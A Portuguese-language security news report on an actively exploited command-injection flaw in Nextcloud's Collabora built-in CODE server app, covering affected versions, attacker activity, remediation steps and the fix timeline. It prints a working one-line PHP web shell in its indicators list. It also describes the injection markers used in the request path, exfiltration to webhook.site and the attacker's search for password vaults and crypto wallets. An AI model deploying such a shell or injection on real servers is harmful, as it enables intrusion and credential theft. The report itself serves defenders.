Invasores exploraram uma falha em um app opcional do Nextcloud, Collabora Online - Built-in CODE Server, para instalar web shells em servidores Nextcloud. Três administradores relataram o problema no GitHub, e o primeiro ataque registrado ocorreu em 10 de setembro.
Um web shell é um pequeno arquivo que executa qualquer comando enviado por um invasor por meio de uma requisição web, com os privilégios da conta do servidor web. A falha permite que uma requisição não autenticada execute um comando no servidor, mas somente quando o servidor de documentos local do app não está em funcionamento, como durante uma reinicialização, uma atualização ou após uma falha.
A Collabora corrigiu o problema na versão 26.4.303 em 11 de setembro e, em 14 de outubro, publicou um comunicado de segurança com o identificador CVE-2026-110447 (sigla de Common Vulnerabilities and Exposures, padrão internacional de identificação de vulnerabilidades), alertando que desativar o app não resolve: ele precisa ser atualizado ou removido.
Quem é afetado
O app, publicado pela Collabora com o nome de pacote richdocumentscode, baixa uma cópia da Collabora Online Development Edition (CODE) e a executa no próprio servidor Nextcloud.
Isso permite que o Nextcloud Office edite documentos sem um servidor Collabora separado. Na descrição do app na loja, ele é apresentado como “para testes locais e uso não produtivo” e “para uso pessoal ou para pequenas equipes”.
O comunicado da Collabora abrange todas as versões anteriores à 26.4.303 e afirma que os servidores Collabora Online independentes não são afetados. Um alerta publicado no fórum da comunidade Nextcloud, em 3 de outubro, informou que uma instalação não é afetada se usar apenas o app Nextcloud Office (richdocuments), sem o app integrado, seja o servidor Collabora executado em Docker, a partir de um pacote Linux ou em um provedor de hospedagem.
O script proxy.php do app inicia o servidor CODE local sempre que chega uma requisição, mesmo quando nada está escutando. Nas versões até a 26.4.302, o script inseria o texto da requisição, incluindo seu caminho, dentro de um comando bash entre aspas duplas, onde o shell ainda executa tudo o que estiver escrito como $(...).
Uma requisição com um comando oculto no caminho executava esse comando como usuário do servidor web. Como o script só monta esse comando quando precisa iniciar o servidor, o ataque funciona apenas enquanto o servidor está parado, como durante a reinicialização de um contêiner, uma atualização ou uma falha.
O script é um arquivo PHP (linguagem de programação usada em servidores web) simples, que o servidor web executa diretamente a partir da pasta do app e não carrega nenhum código do Nextcloud.
“Não é suficiente desativar o app para evitar o problema; ele deve ser atualizado para >= 26.4.303 ou removido”, afirmou a Collabora no comunicado.
As versões corrigidas exigem o Nextcloud 30 ou superior.
O Nextcloud 29 e versões anteriores chegaram ao fim do suporte, e a loja de aplicativos ainda oferece a eles uma versão afetada; por isso, seus usuários devem atualizar o Nextcloud ou remover o app. A correção da Collabora para uma falha separada de injeção de comandos no mesmo script, CVE-2025-66208, divulgada em dezembro passado, não impede esta falha.
O que os atacantes fizeram
O primeiro relato veio de um administrador que hospeda vários servidores Nextcloud e escreveu no GitHub que os servidores vinham sendo invadidos desde o dia anterior. Os registros de acesso de dois deles mostram requisições às 19h51 de 10 de setembro e às 9h56 de 11 de setembro (horário UTC+2, em que UTC é a sigla de Tempo Universal Coordenado), ambas vindas de um mesmo endereço IP (protocolo de internet, identificador numérico de dispositivos na rede) e direcionadas a proxy.php?status, com um comando de shell oculto no caminho da requisição. Todos os servidores do administrador executavam a versão 26.4.302.
O comando decodificou um web shell PHP de uma linha dentro da pasta do app e tentou enviar a saída do comando uname -a do servidor para um endereço do webhook.site. Em um dos servidores, o invasor usou o shell para procurar repositórios de credenciais (arquivos que guardam senhas e chaves de acesso) e carteiras de criptomoedas, incluindo arquivos *.kdbx, wallet.dat e keystore.json e nomes como bitwarden, 1password, .bitcoin, .electrum, .monero e .ethereum.
As requisições analisadas não mostraram comandos que compactassem, enviassem ou copiassem arquivos, mas tudo o que a conta do servidor web pode ler deve ser considerado potencialmente exposto, escreveu o administrador.
Outros dois administradores relataram o mesmo em suas próprias instâncias. Um encontrou o shell quando a verificação de integridade do Nextcloud sinalizou um novo arquivo PHP; o outro soube da invasão por e-mails sobre tentativas falhas de sudo (comando que eleva privilégios de administrador) no servidor. Nenhum dos relatos mostra que o invasor obteve acesso root (superusuário, com controle total do sistema).
Depois de atualizar para a 26.4.303, um deles registrou outra tentativa em 14 de setembro, vinda de um segundo endereço IP, com uma carga de ataque do mesmo tipo. O servidor CODE que ela iniciou carregava o texto do ataque em suas opções de inicialização, mas nenhum novo arquivo de shell apareceu. A saída “parece assustadora, mas deveria ser inofensiva”, respondeu mmeeks, que falou pelo projeto na discussão, orientando os usuários a atualizar e a remover quaisquer arquivos shx*.php que tenham sobrado.
O registro da CVE descreve a falha como “explorada ativamente em setembro e outubro de 2026”. Não se sabe quantos servidores foram atingidos. “Isso afeta apenas a Development Edition, e somente neste modo de implantação Built-in CODE Server, que é mais raro e baixa um appimage local”, escreveu mmeeks.
O que fazer agora
Ações, em ordem:
- Atualize o richdocumentscode, que aparece na lista de apps do Nextcloud como Collabora Online - Built-in CODE Server, para a versão 26.4.303 ou superior, ou remova o app. Desativá-lo no Nextcloud não elimina a falha.
- No Nextcloud 29 ou anterior, que não pode instalar a 26.4.303, atualize o Nextcloud ou remova o app.
- Se você já atualizou, procure arquivos shx*.php, começando em apps/richdocumentscode, e apague-os. Em seguida, verifique os registros de acesso desde pelo menos 10 de setembro em busca de requisições proxy.php?status cujo caminho contenha %2e%2e, $( ou ${IFS}, e procure tentativas de sudo feitas pela conta do servidor web. Considere potencialmente exposto tudo o que essa conta podia ler, como recomendou o primeiro relator.
- A versão 26.4.402, lançada em 24 de setembro, reescreveu o comando de inicialização para passar cada opção como um argumento separado, mas administradores relatam que ela falha ao iniciar ou falha ao abrir documentos em algumas configurações. Eles voltaram para a 26.4.303, a versão que o comunicado indica como correção. Nenhuma versão mais recente havia sido lançada até 14 de outubro.
Indicadores dos registros dos administradores
Indicadores extraídos dos registros dos administradores:
- Arquivo: shrf4645.php, shxa35d0.php, shx5cf91.php, shxd33ce.php e shxf4645.php, encontrados em apps/richdocumentscode/ nos servidores do primeiro relator
- Arquivo: shx13a86.php, encontrado por um segundo administrador (local não informado)
- Arquivo: shx56367.php, nome usado na tentativa de 14 de setembro, que não criou nenhum arquivo
- SHA-256 (algoritmo de hash de 256 bits usado para identificar arquivos): 4b9fbd0663fbfd6028fc216ed18e0d6ef3ae498a7fdc97083e4b0ce3cec40562, correspondente ao shell de uma linha <?php $c=$_GET['c']??'id'; echo shell_exec($c.' 2>&1');
- Caminho: /apps/richdocumentscode/proxy.php?status
- IP: 139.28[.]18[.]122 (ataques de 10 e 11 de setembro) e 89.38[.]98[.]50 (tentativa de 14 de setembro contra um servidor já corrigido)
- Marcadores nas requisições: %2e%2e, $(, ${IFS} e base64 -d encadeado com sh, todos no caminho da requisição
- Domínio: webhook[.]site, um serviço público, com os IDs de callback 45060ed4-de0b-4119-8f0d-2a2776bbd413 e 774cf5e1-b5a4-4174-a1ad-0241861029a2
Uma correção lançada sem aviso de segurança
A mudança de código que fechou a falha são quatro linhas no proxy.php. O comando de inicialização agora é entregue ao bash como um único argumento escapado, em vez de uma string entre aspas duplas, de modo que o shell que o recebe não expande mais o texto da requisição.
O histórico de commits do repositório mostra que a mudança foi escrita em 20 de agosto por Caolán McNamara, que também publicou o comunicado, com o título “tidy up how the coolwsd launch command is built” (algo como “organiza a forma como o comando de inicialização do coolwsd é montado”). Ela não estava na versão 26.4.302, lançada em 31 de agosto, e foi incorporada em 9 de setembro. O primeiro ataque registrado ocorreu em 10 de setembro, e a 26.4.303 foi lançada em 11 de setembro, com notas de versão que mencionam apenas a build CODE incluída.
O administrador que relatou os ataques desativou o app enquanto aguardava uma correção, passo que o comunicado agora diz não ser suficiente. Na discussão, mmeeks orientou os usuários a atualizar, prometeu “mais atualizações no devido tempo” e citou um “acúmulo recorde” na base de avisos de segurança do GitHub, com link para uma publicação de junho em que o GitHub afirmou que seu processamento estava semanas atrasado.
Em 3 de outubro, um membro do fórum da comunidade Nextcloud alertou outros usuários para atualizar imediatamente, porque a falha estava “já sendo explorada” e “nenhum aviso ou CVE havia sido publicado”. A CVE e o comunicado saíram em 14 de outubro. O comunicado credita como relator um usuário do GitHub, wwwshellcodeit, mas nem o comunicado nem a discussão informam quando o relato foi feito ou quando a Collabora soube que a mudança era uma correção de segurança.